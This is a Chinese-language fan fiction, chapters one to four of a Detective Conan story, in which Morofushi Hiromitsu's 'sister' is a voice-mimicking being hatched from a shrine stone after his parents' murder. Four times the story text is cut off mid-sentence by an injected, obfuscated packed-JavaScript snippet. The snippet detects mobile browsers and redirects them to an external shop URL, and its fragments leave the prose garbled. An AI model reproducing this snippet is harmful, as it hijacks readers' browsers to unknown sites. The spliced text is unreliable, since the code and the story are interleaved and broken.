《酒厂克系兄妹情》 1. 第一章 很多人以为,卧底正如电视上演的一样光棍一条,孤身一人,一人吃饭全家饱。 这是一个较为偏颇的印象。 别处不管,但在公安警察这边,被选中去做黑恶势力卧底的人,往往有所牵挂。 无牵无挂的人,未必能坚持自己心中所怀揣的正义,那句话怎么说,不要去考验人性,真得考验出什么来,谁负责?你又该怎么跟上下左右交代? 所以,被选中作为卧底的人,其实都有所牵挂。不管是挚友也好,家人也罢,又或者一旦你去卧底就必被分手的恋人——这些都是做背景审查的时候,必要的参考情报。 一个心怀正义的人,首先,得有牵挂,其次,得有在意的人或事——最低限度你得有爱人的能力。 不然果真选择一个孤狼去卧底,被人家策反成了双面间谍,你又不乐意。 “基于这种前提考虑,我被选中作为卧底几乎是百分百的事,可是你,Zero,你不正常。” 在天台点着一根烟,黑色短发,蓝灰色眼瞳,下巴有着一层短须的男人沉声道。 与他同样站在天台,金色短发,紫灰色眼瞳,小麦色皮肤的男人从兜里掏出一盒烟,取出一根之后很随意的将烟头怼在对方的烟头上,借着火点燃。 他将烟夹在食指跟中指之间,很随意的来了一口。动作似乎的确有那么一两分老烟鬼的味道,不知道是不是参考了他所熟悉的某位同僚。 可惜的是他点烟的样子很潇洒,抽烟的时候却忍不住咳嗽了两声,后续可能还想咳嗽,硬是靠着自己的毅力跟肩膀的颤抖忍住了。 “咳、咳。别这么说,绿川,称呼最好还是注意点,容易在突发情况下改不过来。” 两人同时脑洞了一下,他们被安排做某些任务的时候,在对讲机里不小心叫错名字的情景,不由默然。 很好笑,却也地狱到不好笑。 “抱歉,安室先生,是我的错。” 男人诚恳道歉,这语调听来平和,却又有点阴阳怪气似的奇怪意味。 “没关系,绿川君……噗,抱歉,我绷不住。还是叫小光吧,绿川光的小名听起来也不奇怪。” “不,刚认识不久的组织新人互相叫小名听来就很奇怪。” “没关系,我的人设是自来熟加萩原,我没问题。” “这是用人设就能掩盖过去的吗,还有刚说了不能直接叫名字,这里就把别人的名字当成轻浮代名词了……算了。” 假名为绿川光,本名为诸伏景光,跟本名降谷零,假名安室透的男人是发小。小光是零从小到大都熟悉跟习惯的叫法,这么做倒也能掩盖一点万一习惯成自然的时候脱口而出的错漏。 “不用担心,小光,选择我应该是因为我的外表,这个组织涉及到很多国际业务,能找到我这样一个外表很外国人的内部人士实属不易,选择我是一个必然结果。你本该立即想到的,是什么让你感到疑惑?” 太熟悉了就是有这个问题,你有什么心情波动,对方都了如指掌。正如降谷零知道诸伏景光不是一个因为卧底在黑暗组织,就压力很大抽闷烟的人一样,他知道对方开头引起刚才的话题,肯定有着某种原因。 诸伏景光没有立即回答,他又深深吸了一口烟。 事情有点复杂,确切的说,是诡异。他很紧张的前来卧底,可是一切都太顺滑了,没有怀疑,没有探究,就像真真正正的一个普通员工前去普通的企业报道工作。之前碰面的时候跟零聊过他才发现,他跟降谷零貌似走的是不同路线——培训他的人,给他培训的内容是组织人员配合跟工作,如何申请报销,哪里有安全屋这些琐碎事。相反,降谷零去了一个类似集中营的地方,培训了一段时间的射击跟体术,甚至还有一些介于危险跟微妙之间的任务。 没记错的话,按照组织构架划分,他才是行动组,零是情报组吧? 更别提他们的直属上司加负责人,敬爱的琴酒大人与他初次见面的时候,看他的眼神有那么一点微妙。那种奇妙的‘啧’了一声似的嫌弃感,似乎只被他一个人Pick到。 在他内心,有一个隐隐约约,忽明忽暗的推测,可此时此刻面对自己的同期,同样深入危险后方执行卧底任务的挚友的追问,他又有点不知从哪里说起比较好。 最终,他还是决定先捡起最简单的话题将对话继续下去,避免对方太过困扰,疑神疑鬼。 “就算部门之间不怎么沟通,同时派两人,还是两个互相认识的人卧底进入同一个组织也太夸张了。我们两人同时被组织采用这点也很一言难尽,这可是一个国际性的组织,不觉得哪里都透露出古怪吗?” 他一说,降谷零就跟上了他的思路。 “我懂,我懂,无论是入职路线,还是各种安排,都有点大公司规范化流程化的感觉是吧?不愧是国际型组织,跟那些随随便便,小打小闹的民间机构不太一样。” 诸伏景光点头,虽说跟他想表达的意思有些偏离,但,就是类似这样的感觉。如果不考虑他们是警察,对方是黑恶势力,整个过程流畅的就像他们在专业培训机构完成培训之后,直接被安排进入长期合作下的对口公司一样。 假如这发生在某些特殊城市,还要狐疑一下,是不是警方已经被Mafia渗透,正在反向给Mafia输出人才。但,他们可是公安,你别管他们是不是分属普通部门,公安就是公安,公安给国际非法组织输送人才什么的太地狱了,连想象一下都觉得自己脑洞大到荒谬。 “正规化也有正规化的好处,按部就班就有机会完成更多任务,拿到代号。”降谷零板着指头算了一下,“怎么也得付出好几年的时间拿代号。除非在某个任务之中脱颖而出,在代号成员面前表现出自己的能力,获得特殊推荐。目前只有这两条升职路线。” 诸伏景光被烟呛了一下:“咳,别说的真的跟正常职场一样,社畜感一下就出来了,干劲一下子就松垮掉了。” 一想到就算是黑色势力也要走类似正常职场的拼资历 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527782|203593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流程,心中就有一种红红火火恍恍惚惚,仿佛世界就是一个圆圈,圈外圈内其实没什么不同。 “家人那边……没问题吧,小光?” 降谷零忍不住提醒了一句。跟无牵无挂的他不同,诸伏景光有一个哥哥跟一个妹妹。哥哥目前是一个在职警察,妹妹据说是个自由工作者,之前靠妹妹工作养全家,还一直跟景光生活在一起。虽说他一直没有机会见到,可他一直听景光说起,知道这个妹妹对景光的重要性。如今做卧底任务,家人的安全……哪怕公安那边说会处理妥当,还是要考虑发生万一情况的时候该怎么做。 如果换做是他,恐怕不会接受卧底任务,尤其是家里有一个直系关系亲属一直跟自己生活在一起的情况下。哪怕真的接受任务,也会想办法让妹妹离开他卧底的组织所活动的范围,否则岂不是凭空送把柄给对方? 有时候降谷零真不知道小光是怎么想的,他不怀疑小光心怀正义,会为了正义毫不顾忌自身,但,不顾及家人?这可不太像他所了解的诸伏景光。 诸伏景光弹掉烟灰,眉头微蹙:“哥哥那边应该有心理准备,无需我多做解释。至于妹妹,比起安全,让我担心的是其他方面。” 降谷零洗耳恭听,有机会窥测好友隐私,心情还有些小紧张。 “她连续几天夜不归宿,还用不知道跟谁学来的说辞跟我顶嘴,就连我教给她的常识都忘掉不少。我只不过在警校住校一段时间,她就变成这样,果然让她独立还是太早了。” 降谷零汗颜的看着自己好友,面带温和笑容的在天台栏杆上捻灭烟,最后还不忘拿出个塑料袋将烟头封进去再装口袋里。 无论是这个微妙的习惯,还是话语内容,都有点令人细思恐极。 家人之间的关系还真是复杂呢。 降谷零想,自己不懂,大约因为自己是孤儿。 至于要不要劝一劝他温温柔柔的同期,别一副黑色大丽花盛开,准备把带坏自己妹妹的家伙拖去灭口,甚至已经做好万全准备,从现在已经开始注意不泄露半点DNA什么的前期工作……这种想象一旦展开会相当不妙,打住,就此打住。 “你其实可以拜托你哥哥照顾妹妹,我记得你哥现在执勤的地方——长野对吧?” 住得远才更安全,为了所有人的身心健康,诸伏妹妹酱,拜托你去投奔高明哥哥吧! “不行,会让人更加担心。” 诸伏景光忍不住想起上一次高明哥见到妹妹时的情景。 三七分头,留着八字胡,看起来像古代谋士赛过像一名警察,他的亲哥诸伏高明举枪指向对面,手指紧绷差点扣动扳机的情景,简直历历在目。 ‘你……是什么东西?’ 高明哥的责问极为刺耳,诸伏景光觉得自己亲爱的妹妹受到了伤害,还有高明哥,如果不是他及时出声,可能也会受到伤害。 跟能够独立生活的高明哥不一样,妹妹没有我是不行的,我们不得不在一起生活,哪怕身为卧底。 2. 第二章 诸伏景光的童年不知道该说是幸运还是不幸。 正如任何事物都有两面性,失去了父母,他很不幸,得到了妹妹,他又很幸运。 哪怕过程是曲折的,离奇的,作为一个哥哥,他都会将其归结为奇妙的命运守恒。 正如他坚信,那样的回忆也值得珍惜。 简单来说就是他在小的时候没有妹妹,只有哥哥。兄弟间的关系说不上是好还是不好,有点玄妙。哪怕年幼,作为兄长的诸伏高明已经展露惊人记忆力与高超智慧。正如才几岁的小孩跟成年人不可能玩到一起,诸伏高明跟年幼的弟弟沟通起来有些费劲,哪怕当时的他也同样是个未成年,可他的脑子已经超越了他的实际年龄不知道多少岁。 一般这种超凡儿童很容易出现孤僻症,幸运的是早熟的他获得了家人充分的体谅与爱意,除了难以跟弟弟相处之外,大部分的问题他都手到擒来,能够轻松解决,颇有一种他其实是世界主角,版本之子似的错位感。 同样是孩子的他,很难,也无法做到在心理上面照顾到自己的弟弟诸伏景光。幸好诸伏景光有一个小麦色皮肤,淡金色头发的童年玩伴,两人如何认识就是另一个故事了,这不是重点。总之因为有个同龄朋友,诸伏景光不算孤独,哪怕他跟自己亲哥有着微妙的智商壁垒。 你以为后面的发展,是他的父母努努力,给他增添了个妹妹对吧? 嗯……怎么说,的确是类似这样的发展,只是细节上,又有那么一点点出入。 “阿光,你看看这是什么?” 某天他的父亲拿出一个盒子,打开盒子,里面是一颗系着一圈绳结的青色的蛋。 年幼的诸伏景光用手触摸了下,感到一阵滑腻。他很快意识到青色是青苔,冰冷的触感证明这是一块石头,一块巨大的,像蛋一样的石头。 “是恐龙蛋吗,爸爸?” 景光有些兴奋,他想起妈妈之前给自己读过的某一篇科幻小说,里面的男主角捡到一颗蛋,结果孵化出一只恐龙,恐龙很快长大,回归自然,一个神奇又美妙的故事。 “哈哈哈,或许是恐龙,也或许是鸵鸟化石,谁知道呢!据说这是某个衰败,已经失去名字的神社的身体,已经没有人在祭拜了,神体也被人卖掉,辗转到了古董商手里。朋友知道我喜欢民俗类的东西,送我做礼物。” 父亲爽朗笑道,说是喜欢,也只是普通的感兴趣而已,朋友的礼物拒绝不太好,他觉得儿子或许会喜欢,就开心的收下拿回家了。 “亲爱的,这样是不是不太好,我觉得……应该送到神社或者庙里供奉才对?” 妈妈也对石头挺感兴趣,仔细观察一番,提出了把它送到神社去的建议。 “安心啦,如果真有神罚之类的,破坏神社的人,还有买卖的古董商岂不是该死千万次?”爸爸没有太当一回事,“如果你担心,回头我们把它送去供奉。好歹是朋友送的礼物,先在家摆两天。” 妈妈还是很担心,但看着儿子很爱不释手的样子,最终同意了这个决定。 “真拿你们没办法。怎么说都是神体,曾经被人祭拜过有灵性的东西,阿光,你要像对待花,对待蝴蝶,更温柔小心的对待它,别把它摔破。还有,上面的绳子最好也不要取掉。” 爸爸同意着点头:“这倒没错,你看,漫画里小说里提到封印不都是用绳子吗?我们家附近那个神社祭拜的古树,外面也有一圈很粗的绳子,据说是防止神的气息蔓延到外面伤到普通人,所以最好不要弄掉。” 岛国的信仰太多了,一棵树,一块石头,都可以被当做是神体供奉。很多时候你都无法溯源他们最初是从哪里来,又如何成为信仰。这应该是古代图腾文化残留到现代的民俗痕迹,甚至在现代都很盛行。 诸伏景光的父母就是介于信与不信之间的微妙领域,类似于哪怕我不信,我还是会稍微注意一点,避免一不小心踩到谁的雷点。你不信,自有人信,尊重他人信仰也是人际关系之中重要的一环。 诸伏景光没有考虑那么多,年幼的孩子一心想着自己听到过的故事,坚定的认为这肯定是一枚恐龙蛋。他很喜欢小说之中的翼龙,不过,别的品种的恐龙也都挺不错。只要不是霸王龙就好,霸王龙长得不好看,他更喜欢帅一些,好看一些的龙龙。 小景光开启自己的孵蛋生涯,他给蛋做了一个暖和的窝,睡觉也将它放在枕头附近,一定要在蛋孵出来的第一时间看到。 他奇奇怪怪的行为,把父母都逗得咯咯直乐,就连一向跟他有距离感,总是板着脸的高明哥都忍不住笑了好几次。 他的家人甚至偷偷讨论,要不要在某天把蛋换掉,换成小鸡,乌龟,或者章鱼之类的东西,让景光以为自己孵化成功。可惜被高明哥一票否决,他认为灌输给弟弟错误的经验,将来会导致更啼笑皆非的事件。石头是孵化不出来任何东西的,真相哪怕令人失望,也不该逃避一个可以了解真相的机会。 “你这孩子可真不懂人情世故,非黑即白的,将来容易得罪领导。” 爸爸忍不住挤兑。 诸伏高明不以为意:“那就选适合我性格的职业,所谓适才适用。” 只要能力够强,他人会配合自己,而不是反过来,诸伏高明这样确信。 爸爸咂舌,这就是他不喜欢跟大儿子辩论的原因,太过聪明的孩子家长都说不过,一点都不好玩,还是小景光可爱。 诸伏景光很珍惜这颗蛋,从不把它拿到外面,他怕不小心打碎,里面的恐龙呼啦一下飞走了,再也看不到。 他又忍不住想炫耀,满怀期待孵化出恐龙的那一天,他好抱着恐龙给其他人,尤其是给自己的好朋友炫耀一番。 在妈妈劝说他,说不定出来的不是恐龙,说定是小鸡,爸爸反复纠正,也可以是章鱼的时候,景光还很不开心的把蛋藏起来,怕被他们的意念影响,真的孵化出小鸡。明明是他在孵蛋,恐龙,出来的肯定是恐龙。 最后还是爸爸哈哈大笑着说,里面出来什么都没关系,都是他们的一家人,会养的,他们不嫌弃难不难看,一定会养的,里面的可是你的弟弟或者妹妹,小景光才真正松口气,愿意让继续让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527783|203593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家人看看这颗蛋。 期待一直延续到了暑假,诸伏高明参加初中生的夏令营活动,满怀期待在家孵蛋的诸伏景光,遭遇了他人生之中最大转折点。 有一个莫名其妙的疯狂男人来到他家,残忍的杀害了他的父母。 在恐怖的凶手拿着滴血的刀,在家里徘徊,寻找着什么的时候,小景光正藏在橱柜里,紧抱着怀中的蛋,用力的拽着它,将恐惧,害怕,恐怖之中深藏着愤怒,全部都借用双手力道,狠狠的抓握在蛋上。 很可怕又恐怖的一个巧合,蛋上的绳子崩开了。 太过用力握在绳子上的手掌,甚至搓出了血。 也许真的受到了神的庇护,凶手没有发现他,离开了命案现场。 小景光不敢出声,也不敢动,他依然躲在黑暗之中的橱柜里,他不知道危险有没有真正的离去。 哪怕后来警察开始搜索房屋,他没有出声也没有动。他难以分辨搜索的人是不是会威胁他生命的凶手。 他不知道凶手是谁。 他也无法信任任何从前未曾见过的人。 他安静的躲着,就像一具不会说话的尸体。 幸好他怀里还有一枚蛋,哪怕它不是真正的蛋,仅仅是没有生命的物品,有着一样东西寄托,他在黑暗之中并不孤独。甚至他有一种错觉,是蛋,是神秘的神体,一个不知名的神仙保佑了自己,所以现在他才没有被凶手找到。只要不出声也不说话,他便能继续安全的活着。 就在这个时候,他听到了一个很轻微,细小的声音。 ‘哥哥。’ ……谁在说话? 那像是一个小孩子的声音,小孩的声音总是性别难辨,声调也难辨,分不出谁是谁来。 “哥哥。” 声音再次说话了,这一回字正腔圆,清晰无比。 哗啦一下橱柜门被打开,恍惚又惊恐的男孩,在光线变化下愣神两秒,才看清眼前打开柜门的,是他的哥哥诸伏高明。 “哥哥。” 声音再次说道。 还是初中生的诸伏高明惊喜交加,他抬手搂住自己的弟弟,用力将他抱紧。 “对不起,我回来了。阿光,对不起。” 他说。 诸伏景光却坠入更深的恐惧与混乱里。他终于分辨清楚,刚才那个声音——那是他的声音!那句哥哥,是他的声音!可他明明没有,明明没有说话! 感觉到有什么东西硌了自己一下,诸伏高明才松开手,他惊讶的发现自己的弟弟竟然还将那颗卵型的石头抱着,只不过石头不知道什么时候已经裂开,碎成两块。 更让人惊讶的是,石头是空心的。是的,这竟然真的像是一颗不知道是什么东西的卵。 ……里面什么东西都没有。 “哥哥,回来了,对不起。” 声音说。 像是某种生物,正在缓慢的,腼腆地学习着刚刚听到的话语。 诸伏高明微微一愣,似乎有些困惑,可他依旧回答: “嗯,我回来了。” 3. 第三章 警方告诉诸伏高明,他的弟弟因凶杀案的打击,语言功能出现障碍,说起话来断断续续,有语序跟语法的问题。 但是不要紧,似乎只是暂时现象,跟警察们在一起呆了一段时间,他说话已经逐渐流利起来。 诸伏高明用不可置信的目光看向警察,忍不住想反问他们,所谓的语言功能障碍,能做到嘴不动就可以发出声音吗?这是哪门子高深的障碍,他怎么没听说过? “是腹语啦,腹语,用肚子说话的一种方法,发声的方法不一样,是一种很厉害的技巧。” 医生得出一个惊人结论。 “你的弟弟是惊吓过度出现失语症,一时间难以用嘴发出声音,可他极为天才的想办法用其他的发音方法,也就是腹语替代了喉咙,真是个厉害的孩子。不过治疗肯定还是必要的,从生理上来看没有任何问题,只是心理问题造成的无法发声,喉咙肯定还是能用的,慢慢来吧。” 医生对小孩的状况还挺乐观,他认为心理问题造成的失语症,如果当事人不想说话,肯定不好治疗。但既然小孩都这么费力用腹部说话了,证明当事人还是极为渴望重新说话,那么等将来心理问题调剂好了肯定能恢复用嘴说话的语言能力。 警方才不管那些,反正小孩能说话了,行,赶紧问案件情况。新鲜的案子最容易抓到凶手,时间越久,破案希望越小。趁着现场跟证据还热乎,赶紧能问什么就问什么。 “叮咚。” “外守先生?” “请进,请进。” “许久不见,最近怎么样?” “别跟我客套,我的孩子,我亲爱的有里被你藏到哪里去了?你搬走之后,有里就消失了。肯定是你把她带走藏起来了!” “你在说什么,有里已经去世了,外守先生,你忘记了吗?在远足的时候,她突发疾病过世了。我将她送去医院,可是还是没来得及治疗……” “胡说!有里是被你们带走了!她最喜欢你,肯定是你把她拐走藏起来了!让我进去,我要找我的女儿!” “外守先生冷静——唔!” “小光,快藏起来,不要出声,无论谁来了都不要出声。” “我的有里在哪里,我的有里被你们藏到哪里!” “她真的已经死了,外守先生,请住手!啊!啊啊啊啊!” …… ………… 房间里一片静默。 询问中的警察,全都面色苍白,汗流浃背。 他们听到了栩栩如生的对话,就像案发现场的声音全部被当场再现出来一样。 但,不是录音,是那个孩子,那个不用嘴巴就能说话的孩子,将现场发生的所有事,全都按照原本的顺序,原本的音色,复述了下来。 “这……这个是不是,就是传说中的口技,可以模仿他人声音,太厉害了,惟妙惟肖,简直就像在现场一样。” 一名警官冷汗淋漓说道。 “不,口技得用嘴吧,是腹语,我听说过,人偶师,操纵人偶的那种专业人士常用的技巧。竟然能用不同声音说话,太厉害了,他,这孩子应该是接受过专业培训吧?” “档案里没有,但不排除他跟人学习过,厉害啊,说不定前世是个人偶师,这辈子没忘干净。” “嘘,怎么说话,太失礼了。” “对不起,对不起,主要我被吓了一跳。” “这么逼真的证词,都能做证物使用了。” “内容很详细,根据这些应该能很快锁定犯人。真是厉害的孩子,想必他的父母泉下有知会相当欣慰。” 诸伏景光什么都没说。 声音却什么都说了。 甚至说了那些诸伏景光根本不知道,也不可能听到的细节。 的确像场景再现一般,过于栩栩如生,令男孩不禁再次泪流满面。 恐惧,害怕,如溪流一般缓缓流走,剩下的是欣喜与庆幸。 幸好,声音听到了一切,说出了一切! 幸好声音能让他人知道,曾经发生过的一切! 幸好跟没用的自己不一样,声音提供了线索,能够给警方充足的情报,让他们找到犯人! 他是多么的幸运,又是多么的不幸! 胆怯的自己,依然获得了小小的神灵庇护,让凶手无处藏匿! ‘谢谢你,你是谁?’ 他在内心之中感激的询问。 ‘——哥哥。’ 可惜的是,声音似乎分不太清一些称谓,‘祂’有思想,能理解他人的言语,能复述他人的言语,能回答他人的问题,却又过分稚嫩,就像年轻的雏鸟,只能通过重复自己学到的东西,来回复一些问题的答案。 在那一瞬,诸伏景光明白了,明白这可能是神,又可能是其他的什么,总之,这个不知道是什么的年幼的存在,哪怕能拯救自己的心灵,给予警方抓捕犯人的线索,却连这样简单一个问题都难以回答出来。 他,或者她,又或者是‘祂’,就像刚刚出壳的雏鸟,需要他人的保护与指导,正如年幼的自己。 小景光回想起那颗蛋的状态,想起破裂的石头的蛋壳,他理解了一切。 这是,爸爸跟妈妈留给他的蛋,这是他的弟弟或者妹妹。 应该是妹妹,他希望是个可爱的妹妹。 至于妹妹的名字叫什么,这对男孩来说还是较为遥远的一个问题,妹妹就是妹妹,就像哥哥就是哥哥。很多孩子都被认真教过父母,朋友的名字,反倒是兄弟姐妹的名字,不会记得过于牢靠。 这个小小的问题,却是年幼的小景光需要在意的问题了,他立即意识到,自己的妹妹有两个哥哥,称呼哥哥的时候需要区分一下,不然不知道她在叫哪个哥哥。她对大哥叫哥哥,对自己也叫哥哥,刚才自己询问的时候,她甚至自称哥哥,完全搞错了哥哥这个词的含义。可能在她的理解之中,像他们这样的孩子都叫哥哥。 ‘我是你的二哥,你可以叫我景光哥。高明哥是我们的大哥,你应该叫他高明哥。你是我们的妹妹,你的名字是……’ 诸伏景光一时间难以想出一个合适的女孩子的名字。 他灵光一闪,又或者,在之前被凶手步步紧逼,又反转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527784|203593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为妹妹重复现场声音对凶手步步紧逼,此等强烈的恐怖与刺激之下,他对‘那个名字’产生极为强烈印象。 一种顺其自然,却又极为扭曲,说不上是爱意还是恨意,快乐又或痛苦,极度害怕又极度喜悦,交杂混合不清,如绳结一般缠绕着的感情,令他做出这个决定。 ‘有里,妹妹的名字是有里。诸伏有里,是你的名字。’ 记忆之中的女孩,曾经病逝的少女,给他的家庭带来了痛苦与不幸的名字,可以作为幸运,作为守护,作为陪伴与爱的证明留下来,如果是那样就太好了。 …… “对不起,高明,我们家的经济水平只能收养你一个孩子。虽然我们同样也想帮助你的弟弟,但……” 诸伏高明知道,对一个普通家庭来说,同时收养两个孩子太困难了,尤其其中的一个孩子还因为案件出现了一些精神问题。无论是心理咨询还是其他治疗,都不可能免费。 “我明白,谢谢。” 他只能这样说。 他不会询问可不可以让他们兄弟独自生活,他不可能问出这样幼稚的问题。城市如同丛林,生活其中的人如同动物,就连作为成年人的父母都在弱肉强食之中丢掉性命,更别提像他们这样幼小的,未成年的生灵。他们需要成年人的庇护,直到他们长大,这是无法绕开的客观事实。 希望收养景光的那家人可以善待他,这是他内心唯一的祈求。 还有…… “腹语术吗?” 微妙。 奇妙的错位感,是弟弟的‘腹语’带给他的。 他不会责怪收养他的人家不愿意收养他的弟弟,在那个时候,现场之中听到那声‘哥哥’的时候,哪怕察觉那是景光的声音,他依然在那一瞬感到毛骨悚然。 怎么形容,就像鹦鹉学舌,不是人类的什么东西,模仿人类的声音发出呼唤,哪怕听起来像是人类的发音,还是有种微妙感,让人心中警醒,浑身战栗。 腹语,听来是那样的感觉?因为不是用喉咙发音,听起来才会有那种微妙的感觉吗? 诸伏高明无法确定,他从不去臆断猜测任何东西,唯有见到铁证,才会让他心念通达。 还是寻找一下哪里有傀儡表演,现场看一次傀儡戏比较妥当。最好能问大师要到联系方式,万一弟弟很长时间都无法正常说话……学习傀儡戏,似乎也是一个不错的心理纾解方法。这样小光会觉得,自己的能力并不怪异可怕。 “还有一件事,高明,杀死你父母的凶手,已经确认是外守一。他的女儿有里去世之后精神出了问题,才会发生这次的惨剧。警方目前还没有抓到他,他逃走了。他那样的精神状态,很难说将来会不会再次出现。我们叮嘱过你的弟弟,你也一样,一定要记得紧跟大人,不要独自行动。” 诸伏高明皱起眉,竟然逃走了。这种情况下,比起没有见过凶手的他,小光更容易成为目标。 “我能见小光吗?” “抱歉,他已经被警方送往他的寄养家庭了,那是在另一所城市。等假期好吗,假期我们会带你去见他。” 4. 第四章 他的妹妹有里是个聪明的孩子。 学什么东西都很快,在语言方面更是天才之中的天才,不仅是日语,哪怕是英语,又或者他听都没听过的语言,基本听上个两三次就能学会。 收养他的家庭,说起来挺神奇的,正是一个擅长傀儡戏的名家大师的旁系家族。 在听说这个案子里的小孩,竟然自学了腹语,这位本身就是傀儡师的家主人见猎心喜,很快联系诸伏家剩下的亲族,获得了他的抚养权。 诸伏景光并不会腹语,那是妹妹在说话。但没关系,当大家都觉得你会的时候,你就是会。在听说正经的傀儡师表演木偶戏又或者布袋戏之类的收入,最高的能达到100万每月的时候,他可耻的心动了。 当然,那是国宝级别的大师,初级见习人员,至多也就是20-30万每月,那也是不错的收入了。 年纪轻轻的小景光,已经深刻体会到了如今孤家寡人,没钱没家也没哥的苦恼。 此时的他尚且不知杀害父母的凶手依然在逃,大家不希望惊吓到他,尤其他之前的各种表现已经是被惊吓得够呛。警察也仅仅是叮嘱他,一定要跟大人一起行动,还有千万不要跟陌生人走。 至于他跟兄长两人先后成为刑警,那是很久以后的事了。目前的小景光深深被充满美好就业前景的工作所吸引,尤其,自己不是被当做废物或者拖累,而是的确被人有所期待,这令他感到些许安心。 他没有正式拜师,不过鉴于他目前还无法正常说话,收养他的人家希望能舒缓他的心理问题,便将他介绍给了一位国宝级别的傀儡艺人,橘左近。 那是一位极为温和慈祥的老人,他有一个名为‘右近’的傀儡总不离手,左近爷爷说这是他的搭档。 他亲眼看到左近爷爷的木偶戏,真是活灵活现,栩栩如生,如同木偶真正活过来一样。 “这是明智初期,由三代小泉卯之助所制作的傀儡,哪怕到了近代,依然难以找到与其媲美的人偶。我从小与右近一起长大,他是我最好的朋友。” 左近爷爷抚摸着红色头发的人偶,人偶突兀睁开眼,一副活过来的样子甩甩头,躲开左近抚摸他的手掌。 “喂喂!哪有这样摸朋友脑袋的!你是我的部下,我的左右手,没有我你就连思考都不够严谨,要叫我右近大人,臭老头!” 他竟然还反手打了一下左近爷爷的脑袋,把景光吓了一跳。 随后,他的表情从惊讶,惊疑,转为惊喜。 “右近真的活了!好厉害啊!” 对一个孩子来说,这简直是难以想象的奇迹。 “哈哈哈哈,本大爷又多了一个崇拜者,很好,我收你做小弟,勉为其难在你需要帮助的时候捞你一把,我右近大爷是无敌的!” 狂妄自大又童真快乐,难以想象那是严谨又温和的左近爷爷能说出的话。简直就像右近有着自己的性格,有着独立的思考与生命,宛如真的活着一样。 有一种说法,是木偶本身就有生命,高超的傀儡师在使用它们的时候,展现出它们的生命力,让它们真正的活了过来。 诸伏景光很开心,他如饥似渴的学习有关傀儡的知识。 然后…… ……有里妹妹学会了腹语。 没错,是有里妹妹学会了腹语,她现在可以用不同的音色说出各种不同语气的话语,不再是单纯的复制与重复,她可以真正的说话了。 诸伏景光却只能笨拙的学习如何操控傀儡,让傀儡伴随有里妹妹的话来做一些很单调的表演。 左近爷爷认为他很有才能,希望他能正式跟自己学习傀儡戏。诸伏景光很希望自己能多学习一门技术,可他依然还是让有里妹妹告诉了爷爷,有关能说腹语的人不是自己是有里妹妹,他不想欺骗左近爷爷。 “这样啊,那就先不要想太多,不用做正式拜师之类,你只要在这里多看一看,好好玩得开心就好。”左近爷爷安慰道,“要不要定做一个有里妹妹傀儡?作为我与你初见的礼物,我送你一具傀儡。我有熟悉的人偶师,可以定制一副灵活的傀儡。有了躯壳的话,你跟有里妹妹交流起来也更方便。有里妹妹也希望能有一具身体,做更多的事吧?” 左近爷爷是个很好的爷爷,他没有指责景光是不是精神有问题,而是一种更自然,更友善,如同理解他的同伴一般的方式帮助他,给他提供建议。 那时候小景光并不知道定制一个能动的傀儡要花多少钱,首先可以做到此等手艺的匠人就十分稀有,外人哪怕排队都轮不到号,送钱都送不进去,也只有橘左近这样的国宝,才有此等门路跟关系,随时可以拿到定制傀儡。 他欣喜的答应了,心中想到有里妹妹能有身体,像右近一样跟自己说话,互动,他的心中暖洋洋的。 红发的人偶右近心情貌似很好,吹嘘了一番自己当年跟左近爷爷一起破案的各种丰功伟业。是的,左近爷爷原来还是一个名侦探,他年轻的时候似乎时不时遇到案子,后来等年纪大了,爷爷跟他的搭档花费更多的时间在傀儡戏上,破案的次数越来越少,后来基本就没有了。 “说实话呆在一个地方,案子又不会长翅膀自己来找你,这家伙年轻的时候带着我经常去各地修行,那时候遇到的案子才多咧!” 右近拍拍左近爷爷的脸,一副想当年的回忆模样。 “年纪大了腰酸背痛,能去的地方少了,案子也跟着少了。再说,比起侦探的名声,还是正业的名声更大一些,警察也不像以前一样,愿意来请我们出马了。” 那是自然的。请一个实习傀儡师破案,能跟请一位国宝级别的木偶大师一样吗?大师去命案现场那么危险的地方,磕了碰了怎么办,哪个警视总监能付得起责任,这可是珍贵的国家宝藏级艺人!类似于齐白石如果活着你敢请他破案吗?也不怕被他的真爱粉活活打死! “说起来,有里妹妹有喜欢的造型吗?可以画出来,定制傀儡的时候可以用到。说不定还能附加一些功能,我就希望附加手里剑什么的,可惜被古板老头拒绝了。” 木偶右近感慨自己错失成为傀儡忍者的机会。 “小孩子拿道具太过危险。”左近爷爷劝说道,“孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 